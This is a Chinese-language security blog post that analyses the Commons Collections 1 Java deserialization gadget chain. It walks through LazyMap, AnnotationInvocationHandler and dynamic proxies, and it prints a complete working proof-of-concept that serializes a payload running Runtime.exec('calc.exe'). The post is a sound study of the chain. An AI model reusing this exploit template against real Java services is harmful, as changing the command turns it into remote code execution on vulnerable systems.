• Java安全之Commons Collections1分析(三)


    Java安全之Commons Collections1分析(三)

    0x00 前言

    继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。

    1. Java安全之URLDNS链

    2. Java安全之Commons Collections1分析前置知识

    3. Java安全之Commons Collections1分析(一)

    4. Java安全之Commons Collections1分析(二)

    0x01 CC链的另一种构造方式

    上篇文章说到使用LazyMapget方法也可以去触发命令执行。因为LazyMapget方法在

    这里看到this.factory变量会去调用transform方法。前面也分析了该类构造方法是一个protected修饰的。不可被直接new。需要使用decorate工厂方法去提供。那么在前面我们调用该方法并传入innerMaptransformerChain参数。

    这里的innerMap是一个Map的对象,transformerChain是一个ChainedTransformer修饰过的Transformer[]数组。

    Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
    

    传入过后,LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

    当然在实际中,我们还需要借助其他的类去调用这个get方法。

    而在AnnotationInvocationHandlerinvoke就会去调用get方法。

     public Object invoke(Object var1, Method var2, Object[] var3) {
            String var4 = var2.getName();
            Class[] var5 = var2.getParameterTypes();
            if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
                return this.equalsImpl(var3[0]);
            } else if (var5.length != 0) {
                throw new AssertionError("Too many parameters for an annotation method");
            } else {
                byte var7 = -1;
                switch(var4.hashCode()) {
                case -1776922004:
                    if (var4.equals("toString")) {
                        var7 = 0;
                    }
                    break;
                case 147696667:
                    if (var4.equals("hashCode")) {
                        var7 = 1;
                    }
                    break;
                case 1444986633:
                    if (var4.equals("annotationType")) {
                        var7 = 2;
                    }
                }
    
                switch(var7) {
                case 0:
                    return this.toStringImpl();
                case 1:
                    return this.hashCodeImpl();
                case 2:
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
    
                        return var6;
                    }
    

    这里特地标出来

    Object var6 = this.memberValues.get(var4);
    

    前面说过 构造方法传入的是transformerChain this.memberValues=transformerChain this.memberValues 是一个ChainedTransformer修饰过的Transformer[]数组。这时候调用getget方法调用transform,又回到了刚刚的话题上了。

    AnnotationInvocationHandlerinvoke怎么去调用呢?

    在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制

    0x02 动态代理

    关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。

    动态代理的实现:

    Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
    
    • 第一个参数:People.getClass().getClassLoader(),使用handler对象的
      classloader对象来加载我们的代理对象

    • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法

    • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

    0x03 POC 分析

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
            Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
            oos.writeObject(handler);
            
        }
    

    主要是来看这一段代码

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
    

    这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。

    那么在这段poc的执行中执行反序列化的时候,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandlerreadObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap

    对应的代码:

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
    

    因为proxyMap是我们的代理对象,所以调用proxyMapentrySet()会触发到AnnotationInvocationHandlerinvoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次。

    执行AnnotationInvocationHandlerinvoke()方法后又会调用get方法,再次回到刚刚的地方了。

    LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

    那么就刚好对应了前面标出来的一个利用链

    Gadget chain:
    		ObjectInputStream.readObject()
    			AnnotationInvocationHandler.readObject()
    				Map(Proxy).entrySet()
    					AnnotationInvocationHandler.invoke()
    						LazyMap.get()
    							ChainedTransformer.transform()
    								ConstantTransformer.transform()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Class.getMethod()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.getRuntime()
    								InvokerTransformer.transform()
    									Method.invoke()
    										Runtime.exec()
    
    

    0x04 结尾

    在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为AnnotationInvocationHandlerreadObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。

  • 相关阅读:
    html5和html4.0.1的<html>标记的区别
    javascript 在页面不刷新的情况下 其中的变量时不会被初始化的
    Spring配置项<context:annotation-config/>解释说明
    阿里负责人揭秘面试潜规则
    Ubuntu 软件安装、查找、卸载--apt-get、apt-cache命令安全
    Spring 中 ApplicationContext 、WebApplicationContext 和 BeanFactory 比较
    [Spring3.x] 第 15 章 Spring MVC : 第 四 篇 业务层及 web 层技术开发
    [Spring3.x] 第 11 章 使用 Spring JDBC 访问数据库 & 第 12 章 整合其他 ORM 框架
    [Spring3.x] 第 8 章 Spring 对 DAO 的支持
    [Spring3.x] 第 3 章 IOC 容器概述
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13798371.html
Copyright © 2020-2023  润新知